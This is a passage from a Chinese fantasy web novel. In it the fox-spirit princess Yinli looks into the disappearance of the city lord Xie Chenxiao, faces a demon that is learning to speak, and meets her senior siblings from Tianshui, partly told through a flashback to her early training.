华鹊是纯粹的医者心态,听银梨这么说,当即应允下来:“好,请公主静候佳音。” 银梨点点头。 尽管表面一切平静,但银梨始终难安。 总觉得还有什么,在暗中涌动着。 * 回到月宫,推开书房,有人已经在里面等着。 “公主。” 月宫弟子以服饰颜色区分所属灵地,来者身着墨玄色弟子服,说明来自望月城,也就是谢沉霄为城主的灵地。 使者神色凝重,眉宇间隐着含蓄的焦灼,见到银梨,他立马站了起来。 银梨早知今日会有人来汇报,对使者的到来并不意外。 她道:“说吧。” 望月城来使说:“公主,正如您所担心的那样,谢仙君……好像真的失踪了。”—— 作者有话说:【资料引用标注】 骄恣不论于理,一不治也;轻身重财,二不治也;衣食不能适,三不治也。 ——中医六不治口诀 第22章 夜深。 微光烛影。 银梨在写信。 琼师姐敬启—— 天水一别, 倏忽数载。暌违日久,拳念殷殊。 师妹今修此书,实有一事相询: 望月城城主谢沉霄, 去岁十一月中旬, 与我短暂会面相别后, 便再无音讯。 谢仙君修为出众,为人可靠,且行事谨慎,不曾有不告而离之举, 如此消息全无, 令人心中忐忑 —— 行笔落至此处, 银梨微微一停。 半日前—— 望月城使者专程来访银月城,在书房中等候银梨,告知道:“我们已经很久没有得到谢城主的消息了。 “我最后一次见他, 是去年十一月,谢城主在望月城中, 得知了公主被困鬼林的消息, 当即便赶往了银月城。 “但这与之后的一段时日,谢城主还会保持与城中稳定通信,也不时会遥遥处理一些城中事务。他过去也曾有过不得不长期离开望月城、无法留守的日子,想来直到这时, 他的情况还是正常的。 “但到下旬的时候, 谢城主的联络突然断了, 此后再无行踪。 “最后一次有人见到他, 便是公主您说,您在那个荒林中遇见了奄奄一息的谢城主。您虽将他救了出来,但您苏醒的时候, 其他幸存者都在,唯有谢城主不见了。” 银梨点点头,表示他的叙述并无问题。 当时她的推测,是谢沉霄毕竟修为高于常人,或许伤势也不如她重,反而比所有人先一步醒来,于是为了掌握情报,独自去了附近探查。 正因如此,银梨带其他人返回银月城时,派了一部分弟子留下,好接应谢沉霄。 然而数日过去,留在那里的弟子没有谢沉霄的半点消息,不要说谢沉霄,林中连个正经人影都没有过。 银梨当时便已隐隐感到不对,马上加派了人手,并有计划地让月宫弟子进入荒林搜索。 望月城担心自己的城主,很快也遣了大批人马前来援助。 但两地数十名弟子,在荒林中仔细寻找了快两个月,竟然什么都没发现。 既未见活人,也没有尸体。 谢沉霄其人,就像凭空消失了一般。 连银梨都忍不住怀疑,那天是不是她在鬼瘴中意志薄弱,看到了幻觉。 现在想来,以谢沉霄的性情,在周围伤员众多的情况下,他就算是离开,须臾便会回来,更不可能抛下众人独自跑得很远,在林中没有看到他,本就不太正常。 那望月城使者继续言道:“这段日子,我们搜遍了荒林,几乎将那里来回翻了三四遍,甚至连公主斩杀的那个巨大鬼怪的残骸都寸寸分分地刨过了,仍然没有找到谢城主的踪迹。 “但是……我们找到了这个。” 使者翻过手,握在他掌心的,是一个简单的剑穗子,非常干练的风格,并无多余的装饰,唯有穗子上面吊了一块白石头——那石头被雕成了憨态可掬的眯眼九尾狐的样子,过于可爱,与穗子的整体风格十分不符。 银梨看着这石坠的样式愣了愣,问:“这是?” 使者道:“这是望月城特产的白神石,质地特殊,价格虽不高昂,但其他灵地很少见到,唯有曾经望月国出身之人爱用。 “最近两百年来,望月城一带一直有将白神石雕刻成九尾狐的形状,以祈祷平安顺遂的习俗。至于缘由……公主可能也清楚,毕竟这与公主密切相关。 “虽说已是陈年旧事了,但望月国当初也曾有过百年风调雨顺的大盛之世。 “谢城主还是望月国君王之时,望月国可谓政通人和、海晏河清,当时的太平盛况,至今仍为人所记。而谢城主能登上君位,全是凭借公主之力,因此,当年种种,皆是多亏公主下凡之故。 “若非天灾变故,那等盛世或许能持续至今…… “如果没有公主,也许望月国也同世上绝大多数凡间小国一般,早在天灾最初几年便覆灭了,连当下的一城之地都无法留下。 “是以,望月城臣民至今都敬重、亲近公主,哪怕当年之国如今不过留下一城之境,这种雕刻白神石的文化风俗还是保留了下来。 “在望月城中,会佩戴这种白狐石饰的人很多,尤其是那些还有望月国记忆的旧人……其中,自然也包括我们的城主谢沉霄。 “这枚穗子,谢城主其实是常年挂在剑上的,只是他大抵是不好意思在公主面前佩戴,所以来银月城总会取下,但他从不离身,我跟随在谢城主身边多年,不会认错。 “这个剑穗既然出现在那片荒林里,就说明谢城主的确曾经出现在那里,公主没有记错。但……现在只怕是出事了。” “……” 银梨注视着这石饰的形状,竟一时恍惚。 往事猝不及防地扑上心头,没想到是在这种情形之下。 她控制着情绪,以保持稳重,问:“谢仙君在那片林中消失……那片荒林恐怕还有未知的危险。你们搜索的这两个月,可有遇到什么危机或者……怪事?” 使者摇了摇头,说:“并不曾有什么危险,那个体型庞大的怪物被公主斩杀后,整个荒林都很干净,在这个局势下,我们已经很久没见过那么干净的地方了,最多也就是有几个小邪鬼。 “这种小鬼对精英弟子来说不是威胁,所以这两个月来所有人都很安全,没有出现过伤亡。” 银梨点了点头,使者的答案让她有了一丝安心。 “不过——” 使者一顿,继续说道。 “要说怪事,确实是有。” “我们在搜索谢城主时,遇到的几个小邪祟,竟然能口吐人言,说出断断续续的人话来。” “——!” 银梨惊诧,马上询问:“它们说了什么?” 使者回答:“大多数话语都没听清,而且数量不多,又是小邪祟,一开始没人反应过来它们能说话,偶然遇到的几次,不是一不留神直接杀了,就是一失神放跑了。 “只有一个目击的弟子说,她看到有一个小邪祟趴在那个巨大鬼怪的残躯上,发出悲戚的‘鬼君’‘鬼君’之言,只是一有人接近,它就马上逃走了,比一般小邪祟敏捷机警得多,也没抓到样本。” ——! 对上了! 银梨还记得她在那个“鬼君”体内时,就听到小邪祟活动的声响和十分怪异的人声,当时她便怀疑是小邪祟口吐人言,没想到竟真是如此! 这可不是什么好的兆头。 小邪祟口吐人言,意味着连过往最低等的鬼物,都开始有了浅薄的思维。 它们在越来越强,会越来越难对付。 不过,望月城的使者似乎没有意识到这一层,反而对小邪祟口中的“鬼君”一词更为在意,道:“说起来,那个邪怪体型可真大啊,隐约之间还能感到一丝残留的龙气,恐怕是非同凡响的邪物……公主您能以一人之力将其斩杀,修为恐怕比世人所认知的还要强上许多吧?” 使者看银梨的眼神,试探之中,不免夹了一丝敬畏。 “其实,如今世人已在谈论,公主您仅凭自己一人,便击杀了鬼君。公主,该不会您,真的……” 银梨明白使者在期待什么。 谢沉霄失踪,无疑会让望月城人心浮动,唯有一个能凌驾于这之上的好消息,才能驱散负面的情绪。 如果那个死去的巨大怪物就是鬼君当然好,但银梨自己都不确定的事,她不会轻易下结论。 更何况…… 银梨道:“那个邪鬼究竟是怎么死的,还不好说。” “公主是说……您没有杀那个邪鬼吗?” 使者的表情,显然不信。 “公主未免过谦了,人人皆知那邪鬼死时,身上留有搏斗痕迹的唯有公主一人。公主可能只是力竭后记不清了,毕竟如果不是公主,还能是谁呢?” 银梨:“……” 谢沉霄的情况交流得差不多后,使者本要告辞,但临了又止住脚步,像想起了什么,道:“对了,公主,还有一件事……不知道算不算奇怪。” “你直说无妨。” 使者道:“那些不小心放走的会说话的小邪祟,好像都是往特定方向逃跑的。我们有些弟子追了一段,发现最后都跑到了相同的方位上。不过样本太少,只是巧合也不一定。” 银梨并未放过这个细节,追问:“往哪个方向跑的?” “以往荒林的位置来说,是往南面。” 使 者道。 “或者说……它们好像是向着银月城的方向跑的?” * 烛火微晃,夜愈深,银梨脸上的神情晦暗不明。 谢沉霄的失踪,实在蹊跷。 在银梨浑沌的记忆中,她好像曾听到骨肉被咀嚼的声响。 她本以为,那若不是幻觉,便是号称“鬼君”的荒林怪物被后来的其他东西吞噬的动静。 但现在回想,那巨大的鬼怪尸身虽惨不忍睹,但好像并未缺少什么。 反而,谢沉霄不见了。 该不会…… 银梨的眉头深深锁起,下笔更重,在信纸上留下浓烈的顿笔。 ——谢仙君之事,委实不合常理,兼之银月城近日异事频繁,我不得不多做防范。 如若可以,能否恳请师姐问询云舒神君,卜一卦凶吉? 静候佳音。 师妹银梨敬上 搁笔。 银梨将信封口,置于月色之下,借月华流光之波动,将其送出。 * 这一日,天未破晓,银梨趁着月宫中大部分弟子还没开始活动,绕开众人,独自往城外去。 若她还是平时那般公主城主的做派,此举定然不易,好在可以化作狐身,出了城再用朴素的衣裳乔装打扮一下,倒也没那么引人注目。 银月城与月东林相连,月东林有一大片甚至位于银月城屏障范围内,而城外有一片虽已不在屏障中,但仍受到太阴星的净化之力影响,能得到微弱的庇护,鬼怪较少,甚至还能有活人居住,只要不深入,就不算危险。 在城外这片过度之地,有一片梨花林。 过去,这里一年有半年都会开满白梨花,在林子深处,还有一个如镜般澄净的大湖。 这曾是银梨喜爱的嬉戏之地,但姐姐去世后,她忙得分身乏术,以许久不来了,几乎已经忘了这个地方。 只是今日不知怎么的,总觉得喘不过气,想找个无人的地方散散心,不知不觉就走到了这里。 银梨本只想随便走走,看一眼故地,没想久留,更没什么期待,但一看到林中的光景,倒吃了一惊。 林中的梨花竟然开了。 要知道姐姐葬身火海后,凡间堕入永夜,若无太阴星的残力维护,本应草木枯萎、万物凋亡,极少有活物能维持生息。 在银梨的想法中,这些梨树恐怕早就死光了,绝没料到它们竟在开花。 而且,眼下春节才过,早春寒意未消,还没到梨花开花的时期。 这些梨树竟不但开了花,还开早了。 ……是因为她杀了那个满身龙威自称“鬼君”的怪物,外界的鬼气有些消散了吗难不成,最近对种种不祥的顾虑,竟真是她杞人忧天? 清晨淡淡的薄雾中,漫山遍野的白梨花远看如天云垂降、瑶台落雪,层层叠叠,花瓣旋落似雨,成团成絮的梨花倒映在澄清的镜湖中,宛若梦境。 银梨恍惚了一下。 ……好熟悉。 这样的景色,好像最近就曾见过…… 未等银梨细思,这时,身后忽然传来清澈的嗓音—— “公主。” 有人唤她。 银梨回过头。 只见磬言在不远处的一棵梨花树下。 梨花落在他素净的弟子服上,少年人的身形长相不算出众,但清秀白净,莫名与梨花相称。 他站在那里,谦然对银梨微笑。 第23章 银梨对磬言的到来十分意外, 问:“你怎么会在此地?” 磬言笑道:“我想去与君竹师姐换班的时候,正好撞见公主化成了狐狸偷偷往月宫外走,想着今日正好换我跟着公主, 便直接追过来了……不过, 公主不会, 本来是打算躲开我和君竹师姐吧?” “……” 银梨干笑两声,掩饰心虚。 听了磬言的描述,她心里有些发窘。 她用原形躲躲藏藏的样子,看起来可能鬼鬼祟祟的, 想来和平时给人的印象差别应该很大。因为本来也只是想散散心, 她的确没有太警觉, 倒没想到还真有人看到了。 银梨的耳朵不自觉地往后背,这是她尴尬的自然反应。 磬言这个人平时就不声不响的,这么一看恐怕是擅长跟踪隐匿的类型, 真是大意不得。 这时,磬言笑了笑, 不知从哪里取出一件白色大氅, 走到银梨身后,披到她肩上,道:“我见公主孤身一人出来,想到公主平时的性情, 担心会穿得单薄, 便拿了衣物过来……不过, 以公主的修为, 可能会觉得我多此一举吧?” 肩上搭上重量,暖意顿时传遍全身。 仙神脱离了世俗的疾苦,理论上来说已不会为饥渴冷热所困, 自然不会畏惧区区早春严寒。 不过,哪怕不需要,受到这样细致的关怀,内心却会感受到温暖的情绪。 银梨将大氅往胸口拢了拢,道:“需要的需要的。仙神之所以与凡人不同,是因为身上有仙力庇护,但若是虚弱到一定程度,仙力不足以保护自身,也就会和常人一样会饥饿口渴、畏寒畏热了。 “仙力要靠自身力量维系,我身体现在还行,但当下这个世道,能省一点就省一点吧。若能用衣物取暖,确实就不要浪费仙力了。” 她对磬言笑道:“多谢你。” 磬言一喜,眼梢的泪痣随之上扬,高兴的情绪倒十分好懂。 银梨总觉得能看到他摇尾巴的样子,好像一只欢喜的小狗。 银梨问他:“说起来,好像没怎么听你说过自己的事。你在拜入月宫之前,家中有几口人?父母可还健在?你这么细心,又会照顾人,难不成是有很多兄弟姐妹吗?” 磬言似乎没想到银梨会这样问他,微怔了一下,旋即微笑道:“父母很早就亡故了,家中没有其他人,我一直自己生活。” 他顿了顿。 “不过,我一直希望能有一个像公主这样的妹妹呢。” “我?” 银梨耳朵偏了偏。 “我比你年长许多,应该是姐姐吧?” 磬言只望着她笑,眼神含着某种深邃的温柔。 磬言长相在月宫弟子中算得上稚气,但他这般看她,倒让银梨感觉她好像真被当作了妹妹一般。 磬言问她:“说来,公主今日,怎么会忽然独自来此地呢?” 磬言说着,看向远处。 他的视线像被什么吸引,落在梨花林深处的湖泊之上。 “我只是想随便走走。” 银梨猜他是不太清楚这是什么地方,主动介绍:“这里是月东林西南侧的浅林,不在入月东林的主道上,附近也没有村落,所以很少有人知道。如果穿过梨花林再往北走的话,就要到我和其他人被鬼阵所困的地方了,不过这里离银月城的屏障还算近,又未到深处,所以还算安全,放心吧。” 磬言轻轻地道:“如此之地,竟还有个湖泊。” 银梨点点头:“此地没有任何水道经过,一个孤零零的湖的确很奇特,想来是由于地势,让这里长期积水不散,才会形成。” 望不到尽头的白梨花中,唯有此湖静卧如镜,映照岸上万花。 银梨明白磬言为什么会特别注意这个湖泊。 湖泊不是生物,受到鬼气的影响要小许多,但即使如此,长夜降临后,像这样明镜般通透的湖还是很少见。 如云如瀑的梨花被倒映在这样清明的湖水中,静谧纯粹,不染俗世尘埃,甚至比月宫更像仙境。 单看此景,已经很难想象,这世上鬼邪当道,再往里走几步,就是令世人闻风丧胆的“鬼林”。 银梨道:“很漂亮吧?许久没来,没想到今年梨花竟然开了,乍一看,简直与当年没什么区别。” 两人说着话,不知不觉已走到湖边,在湖畔并立。 银梨的身形映入水中。 她自己没什么自觉,但微风吹动了她的雪耳与九尾,柔软的绒毛犹如蒲公英上长出的绒絮,轻轻颤动。 即使她自认为适应凡尘,自认为化为了人身,但这时任谁看来,都会认为她更 像一只高贵出尘、不该留在凡间的灵兽。 磬言望着她落在湖中的倒影,笑道:“是很漂亮。” 他问:“公主好像很喜欢这里?” 银梨点了点头:“曾经是很喜欢。我记得小时候常来这里,不过最近一百年,几乎没有来了。” 磬言说:“风景是很不错,不过在我看来,这里给人的感觉,未免有些孤独。” “孤独?” 银梨不是很理解这个评价。 她偏了偏头,道:“我小时候通常是与兄长一起来的,我们总在这里玩,我看这里倒觉得很温馨。” “……青霜少君吗?” “对。” 银梨笑道。 “除了我之外,只有青霜知道这里。所以以前,总是他能最快找到我。这里,算是我们两个人的秘密家园吧。” “……” 不知道是不是银梨的错觉,她说出这句话的时候,磬言的表情好像微妙地变了变。 磬言的目光比平日深沉了许多,周身有一丝冷意。 但紧接着,银梨敏锐地觉察到了一丝邪气。 银梨和磬言同时拔出佩剑。 “小心!” 银梨修为更高,那道气息似乎直奔磬言而去,银梨本想先护住磬言、挡住这一击,以免他受伤。 但磬言眼底冷光一闪,拉住银梨的手腕一拽,反将她掩到背后,干脆利落地出了剑! 银梨这才意识到,君竹所言不虚,磬言的剑术早已脱胎换骨,如此利爽的剑术,当真有几分谢沉霄的气度。 银梨的眉头微微蹙了一下。 “参见……鬼……鬼……” 这时,一片黑色的东西落下来。 是一个落单的小邪祟。 它似乎比寻常的小邪祟要坚韧,吃了那般一剑竟然没有直接消失,反而还挪动着,试图往两人所在的方向爬。 “君……君王……” 小邪祟门面位置张开一个空落落的大洞,细碎漏风般的声音从里面溢出来。 银梨起先还没反应过来,愣了一瞬,才发觉它竟是在试图口出人言。 “等——” 磬言面色极冷,不等银梨将话说完,他已毫不犹豫又补了一剑。 啪—— 这小邪祟质地古怪,像利刃刺破了一张鼓满风的纸,这下彻底死去,化为黑雾消散。 磬言眼底不见笑,出剑如此决绝,几乎让人想象不到这时平时那个温润老实、朴素平凡的少年。 这时,他回过头来,温柔地问银梨:“公主,你没事吧?” 区区一个小邪祟,当然不可能让银梨受什么惊吓。 但磬言方才身上的气场转变有些快,倒让银梨愣了愣,才道:“我没事,但你方才出手有些太急了。这个小邪祟和平时那些有点区别,速度、韧性都不相同,好像还在试图说话。 “荒林那边的弟子曾报告见过这样的小邪祟,只是没抓到样本。刚才这只说不定就是从荒林那边逃来的,我本想将它擒住,带回银月城研究。” “原来……公主有这般打算。” 磬言闻言,当即内疚起来,眼睫低落地垂下。 “抱歉,刚才我光想着不能让它靠近公主,太冲动了。下次,我一定会等公主的命令再行事。” 磬言的神情,让银梨不觉心软。 “无妨……等下次吧。” 她说:“其实你不用如此紧张的,一个小邪祟而已,靠近了又如何?总不可能伤到我。” 磬言认真地道:“但靠得太近,便要由公主出手了。这样污秽的邪物,如何能脏了公主的手?还是由我来比较好。” 说着,他深深望了一眼林中,言道:“公主要不先回去吧。小邪祟通常成群行动,这里既然出现了一个,或许还有其他的,我再去找找,看能不能将功补过,活捉几个回去。” 磬言的剑,隐约透着杀意。 银梨道:“我也一起去找。” 磬言摇摇头:“公主还是先回城中。” 他浅笑着看过来:“这里毕竟是曾经困住公主的鬼林,表面风景再美,留在里面的终究都是龌龊肮脏之物,只会污染公主的眼睛,不值得公主费什么心思。” 银梨还要再说什么,但这时,一阵淡雅而特殊的草木香从某个方向飘来,立即吸引了银梨的注意。 银梨耳尖一动。 她道:“这林子里,还有人。” “有人?” 磬言好像有些担心,要挡在银梨前面。 “此处不太可能有人,或许是别的东西。” “不……” 银梨制止。 严格来说,确实不完全是人。 不过,也绝不是什么邪物。 对银梨来说,她身上的气味很熟悉。 如果是她的话,的确有可能莫名其妙跑到这里来。 想到前些日子寄出的信,银梨心中不觉涌出几分期待,加快了步调。 就像特意在给她指引方向一样,很快,银梨看到不远处的一棵梨树上有什么东西一闪。 她走过去,果然看到是梨树枝桠上悬了一片金色的鳞片。 如此颜色的鳞片不太常见,换作旁人,可能难以迅速辨认,但银梨一眼就能看出,这是金蛇褪下的鳞。 果然是她! 银梨心头一喜,迫不及待地往梨花林深处寻找。 绕过两簇开满花的枝杈,在如雨落花之后,银梨先看到的是一片浅金色的衣摆。 银梨惊喜,正要唤人,但随着视线推移,真正出现在她面前的,竟不是想象中的那人。 一个目覆白绫的青年男子,正静静地候在那里。 他以白色云锦为底,身着松花落金直身长袍,头戴浅色黄玉冠。 如此矜贵的颜色穿在他身上,不知为何不染俗世的贵重,反而有如金月溢出的流光,含着淡雅飘逸的灵气。 银梨认出了对方。 这样的人,实在不容易认错。 ——天水城,云舒神君。 他早在百年前就丧失了视力,即使站在这般风景之下,仍只能静静地将目光投往无谓之处。 但银梨知道,他并未迷失。 今日的一切,恐怕皆在他预计之中。 果不其然,明明他双目不可视,明明银梨没有发出声音。 在银梨说话之前,男子已经微微弯起嘴角。 他自然地唤道:“银梨师妹。” 就像专程在等她一般—— 作者有话说:因为要上夹子,明后天的更新时间改到每天0点10分。 大后天的更新时间延迟到晚上23点30分。=3= 第24章 银梨从望月国归来三年后, 银梨和青霜的修炼进度都有些卡住。 姐姐仔细检查了他们兄妹后,下结论道:“是我的问题。我是人身之神,自诞生以来就是人躯, 只懂得‘人’的修炼之法。 “而你们兄妹二人, 既是神玉之体, 又被我雕成了鹿和狐狸的样子,疏导灵气的方式已与我不同。 “我过去教的东西,有些并不完全适应你们的身体,你们只照我的方法修炼, 自然会卡住。 “若要突破, 恐怕得找到更适应你们本身特质的修炼之法。” 既知原因, 姐姐将自己锁在屋中思索数日。 然后,她想起一桩旧事,言道:“六百年前, 我在天河附近玩耍时,曾机缘巧合救下一条年幼的金色玉京子。 “这条玉京子宣称要向我报恩。 “她说, 她有感知天理因果之能, 擅长卜算,可以为我推演将来。 “然而,我是天道之女,任何卜算都无法窥探我的命运, 再说, 我觉得什么都知道结果就没意思了, 便说不需要; “她又说, 她天生亲近草木,极善药理培植之学,可以为我培育草药。 “然而, 我是上古神身,生来就是修炼圣体,无需药物辅助,更是极少生病受伤,我有时也种灵草,但这是一种意趣, 若不亲力亲为就失了趣味,便说这也不需要。 “她思来想去,说自己修为和天赋还可以,问我需不需要仆人。 “这我当然更不需要啦,但我需要朋友。 “于是,她就成了我的朋友。 “不过,她仍不认为这算报答了我的恩情。 “她已经没了招数,只好说她会继续刻苦修炼,直到将来我有用得到她的地方,再来向我报恩。 “过了很多年,她凭借出色的卜算与草木药理之才,引来众多草木禽兽所化的追随者。 “那时,世上多是人城,草木灵兽地位边缘。 “她便开世之先河,在凡水与天河尾流的交汇之处,建造了一处专供草木灵兽修炼的秘境,名为天水,她自己也成为草木精与灵兽所尊崇供奉的神女之一。” 说完过往,姐姐对兄妹俩眨眨眼,说:“那小玉京子为人细心、过目不忘,且性情稳重、至纯至善,为了引导信众,曾亲手指引无数种生灵修炼,极有育诲之经验,尤擅因材施教。 “她早说与我还有未尽之缘,这回,你们便替我用了当年那个恩情,去天水之境,向她求教修习吧。” 就这样,银梨与青霜离开月宫,前往天水秘境,拜师学习。 姐姐救的那条小玉京子,如今被称作“观真神女”,是凡世极具声望的仙神之一,尤其受到飞禽走兽和草木精灵的尊崇。 尽管在姐姐口中,她好像只是一条普通小金蛇,但实际上,观真神女一脉的真身,名为“羽螭蛇”,是一种十分稀罕强大的灵兽,亲缘与龙相近。 这种蛇,拥有天然水融聚灵之身、花草林木亲善之心,因此极善农耕药理之术,而且得天道之宠爱,感知超群,在占卜预知方面的才能十分出众。 银梨对自己和兄长未来的师尊,既有忐忑,亦有好奇。 临行前,姐姐又告诉兄妹两人,观真神女曾经生过两个灵蛋。 一个灵蛋在百年前就已孵化,是观真神女的长女,比银梨青霜年长一百多岁。 这个长女聪慧灵动,天玉之质,特别在草木培植方面的天资极华难掩,观真神女对她甚为喜爱器重,倾其所有,将一身莳植培草之学和悬壶杏林之道都传授给了她,俨然是要让她继承自己的衣钵。 而另一个灵蛋,同样身负异才。 他在二十多年前孵化,只比银梨与青霜年长五岁,是条雄蛇。 听说,他天生便带了一双神眼,能洞穿世事、预观未来。 这样的才能,即使在羽螭蛇中,仍极其罕见。 待他承袭母亲的卜算断命之能,将来不可估量。 银梨对天水秘境早有听闻,却从未前往。 而就是在那里,她第一次见到了师兄云舒。 明月历八百二十一年,九月初一。 银梨与青霜肩并肩,俯首端茶,对观真神女行拜师之礼。 观真神女和蔼慈悲,待晚辈耐心友善,有着上千年阅历积攒的睿智宽容。 她一直惦念着月神曾救她一命的恩情,见到银梨与青霜十分高兴。 银梨对她第一印象极佳,哪怕百年后回忆起来,她仍是难得一见的好师尊。 那时,在观真神女身后,并立着一女一男。 女子稍显年长,已是成人样貌,容颜极盛,金裳朱带,宛如一朵盛放的鎏金牡丹,眉间一颗赤珠,光彩照人。 她一举一动端重大方,看得出教养极佳,但银梨与她对上视线时,却见她眼底流光一转,像有两尾灵动小鱼在其中游窜,一不小心就要暴露顽皮狡黠的本性,生出什么捉弄弟弟妹妹的坏点子。 男子看上去只比银梨青霜大上一点,云锦金服玉冠,他有与身旁女子相似华贵盛容,气质却淡雅七分,面容沉静,不悲不喜,无惊无奇。 他静静鹄立于此,如一道清淡飘然的烟云。 他目光飘忽地落在远方,似乎对世上之事都没有兴趣,不知在想什么,平静得异乎常人。 那时银梨还藏不住心事,没忍住多看了他好几眼。 只因男子生了一双颜色极淡的眼睛,比琥珀更浅的金色,像薄薄一层琉璃片,轻轻一碰就会碎裂。 观真神女介绍,这便是她的一双亲生儿女,长女名为金琼,次子名为云舒,今后便是银梨与青霜的师姐师兄。 银梨回神,连忙称是。 * 初到天水境的半个月,银梨与云舒并无交集。 云舒在天水境有许多传闻,多是关于那奇特罕有、神乎其神的预知之能,但他平日里独自长住在最偏远的小舍中,深居简出,极少露面,银梨几乎没有再见过她。 相反,金琼师姐热情活泼、古灵精怪,还很喜欢银梨的原形,天天跑来找她玩,变着法逗她,经常趁她是狐狸的时候把她一把抓到怀里抱着摸。 如此三番,银梨很难不和师姐熟悉起来,后来见到她就尾巴狂摇,蹦来跳去地与她玩闹。 只是,银梨在天水境的修行,其实不很顺遂。 她总觉得自己缺了什么,师姐在的时候还好,师姐回去了,她便周围过于清净,有些孤寂。 与此同时,青霜倒是状态极佳、如鱼得水,到天水境后像是甩掉了什么沉重的负担,精神大好,一经观真神女点拨马上就找到了诀窍,修为迅速突破瓶颈,成效显著。 银梨向来与青霜同进同退,兄妹二人异体同心,鲜少有这般差异。 银梨第一次遇见这般情况,未免有些焦急灰心。 她不断试着自己整息适应,然而这样过了半个多月,仍未有气色,银梨备受打击,甚至有点萌生了想回月宫的心思。 银梨觉得她可能是想家,想姐姐了。 这日,正当她在花园里发呆、犹豫该怎么办时,墙角的花丛间,好似有阴影动了一下。 什么东西?! 狐狸生性机警,银梨又是贪玩的性子,几乎马上竖起耳朵。 她疑心那是师姐看她状态不佳,特意寻来逗她的新玩意,只迟疑一瞬,眼见那未知之物要消失,便本能地追了过去! 银梨凭直觉追到后山。 天水境位于水脉交融之地,水系发达,观真神女一脉的原形更是栖水灵蛇,十分亲近水域,因此府邸城中水道四通八达,水道水景不计其数,善水的灵兽甚至能借水道在整个天水境中自由穿梭。 银梨一路经过无数水流河道,最后视野一阔,看到一个开满睡莲的幽静水潭。 清池立影,静水悠然。 在水潭边,有一个意外的人。 云舒。 金眸青年静然伫立,睡莲卧在足边。 他微微仰首,露出清癯的下颔线条,浅色的眸子空寂悠然,看不出是在看天,还是在发呆。 这位云舒师兄,自拜师那天之后,银梨还是头一回再见到他。 银梨虽听了不少关于他的传言,什么身负奇才、能看天机、视力欠佳之类,但并未真正与他说过话。 尽管两人也算师兄妹,银梨却不知如何与他相处。 踯躅片刻,银梨上前道:“见过师兄。” 云舒不知是不是早注意到她,对银梨的搭话并不意外。 他偏过头,对银梨微微颔首,没说话,便又望回天空。 银梨也不好再跟他说话,静悄悄地挪到一旁。 她跪到水潭边,往深处看去。 她觉得一闪而过的阴影,好像就消失在了水潭里。 水潭澄清,但非常深,底下无光,又有树影遮挡,看不分明。 这样的深潭看似平静,实则底下常有活水涌动,暗流难测,在光影蹿晃之下,若有东西潜伏在下面,极难辨别。 池底,有什么浮动了一下。 银梨双耳一竖,身体前倾,天性让她瞬间想要扑出去,正当她探身想要看得更清楚时,视线一晃,脚下竟踩到了滑不溜的鹅卵石—— “呜——” 等反应过来,冰冷的潭水已经浸没头顶。 银梨拥有神身,不太可能被淹死,但她毕竟年纪不大,玉石本不怕水,偏她原形被雕成了畏水的小动物,一时间她又怕水,又记得石头入水只会下沉,落水的慌乱刹那间盖过理智,又深 又冷的潭水让她极为恐惧,惊惶之间,银梨四肢并用、拼命扑腾,试图回到岸上—— 倏地,一道金光破水而入。 金蛇。 那是很淡的碎金,黎明破晓的第一缕曦光,重阳远眺时的漫山杏黄。 蛇鳞在水下流光溢彩,游转如月光下的凌波。 他在水中游动,有着古街漫步般的典雅从容。 灵蛇越来越近。 然后,落入银梨眼中的,是一双水玉般的金色竖瞳。 金蛇吐出一口灵气,将她变回轻巧软乎的小狐狸,衔在口中,游回岸上。 银梨落回实地,拼命咳嗽,使劲抖毛甩水。 金蛇竖着头浮在水面上,一道白光掠过,便变回人身,像踏着阶梯一般,一步步走上了岸。 云舒向后撩起湿发,水迹顺着脸颊淌下,盛美之容,水洗后分外清透,衣裳浸彻贴在身上,衣摆坠重,身形却勾勒得单薄。 羽螭蛇一族擅长御水,若不愿意,水碰不到他,他这般浑身湿透,便说明他本身不介意身上沾水,甚至还有些欢喜。 事实上,他湿至如此,仍不沾丝毫狼狈,反而气质愈发清雅飘逸。 云舒偏过头,对银梨浅浅笑了一下,便离开了。 在与云舒师兄那双眼眸接触的刹那,电光石火之间,银梨忽然明白,云舒师兄出现在这里,并非凑巧。 师兄大概,是算到了她今时今刻会落水,专门守在这里,等着捞她。 ………… …… 这件事后过了很久,等到银梨与云舒熟稔起来,银梨回想起这事,便问他:“师兄既然早知我会落水,提醒我一下不就好了?” 云舒笑了笑,回答:“天命不可违,我提早告诉你,改变不了什么,只会徒增你的担忧烦恼。 “所以,我能帮你的,唯有提早守候,尽快将你捞上来,让你少受惊吓。” 第25章 城外梨花林。 银梨循着金色蛇鳞而来, 本以为会是金琼师姐,不想竟是云舒师兄,虽说还是惊喜, 却不免有些错愕—— 师兄双目有疾, 行动不便, 以前就不怎么喜欢离开居所,怎么会千里迢迢特意到银月城来? 未等银梨出言询问,忽然,一双柔软的手从背后探来, 一把将她双眼捂住—— 女子的声音询问道:“银梨, 猜猜我是谁?” 银梨大喜, 迫不及待地转过身:“师姐!” 几百岁了还玩这种游戏,放到别人身上未免幼稚,但由眼前此人为之, 却很正常。 银梨就知道自己没有认错。 金琼师姐继承观真神女草木药理方面的衣钵,与灵草药物相伴, 长此以往, 身上沾染成了某种不散的芳草混香,对银梨来说,她身上的味道颇为特殊、极为好闻,嗅到便知, 自与旁人不同。 当年在天水境, 银梨与羽螭蛇姐弟关系都不错, 但银梨毕竟是女孩子, 便与金琼玩得更多。 金琼活泼好动,年长聪慧,修为出众, 在天水境那几年里,她对银梨的教导维护不计其数。 而且,在银梨看来,师姐跳脱的性情有一点像姐姐,让人很想亲近,银梨于是对她更有额外的喜爱和尊崇,对金琼的言谈举止亦格外包容——既然是师姐的举动,那总归是有些道理的。 金琼方才应该就躲在附近。 想来也是,云舒师兄视力不便,师姐断不可能将他一个人丢在这里跑远的。 想到这里,银梨看向师兄。 云舒师兄站在花树之下,双眼对不准方向,但他确是面朝向她与师姐这边的。 银梨没有开口,云舒就像料到银梨会问什么一样,先对她云淡风轻地一笑。 云舒将手放到树皮之上。 不等银梨询问,他已自行解释:“收到你的信后,姐姐她便决定过来找你。我知道你要算什么、需要什么,所以同往。 “其实,我们本该直接去银月城找你,不过,我偏巧算到此地的梨花今年会早开一季。 “此景难得,我便想一观,于是与姐姐商量,先到这里,一边等你,一边赏花。” 云舒师兄曾说过,他虽然看不见了,但仍有听觉、嗅觉、触觉,更何况,他拥有常人可望而不可即的神眼,能获知的,远比常人要多。 要欣赏世间的美景,并不只有以目观看一途。 云舒抚着梨树,落花缤纷而下。 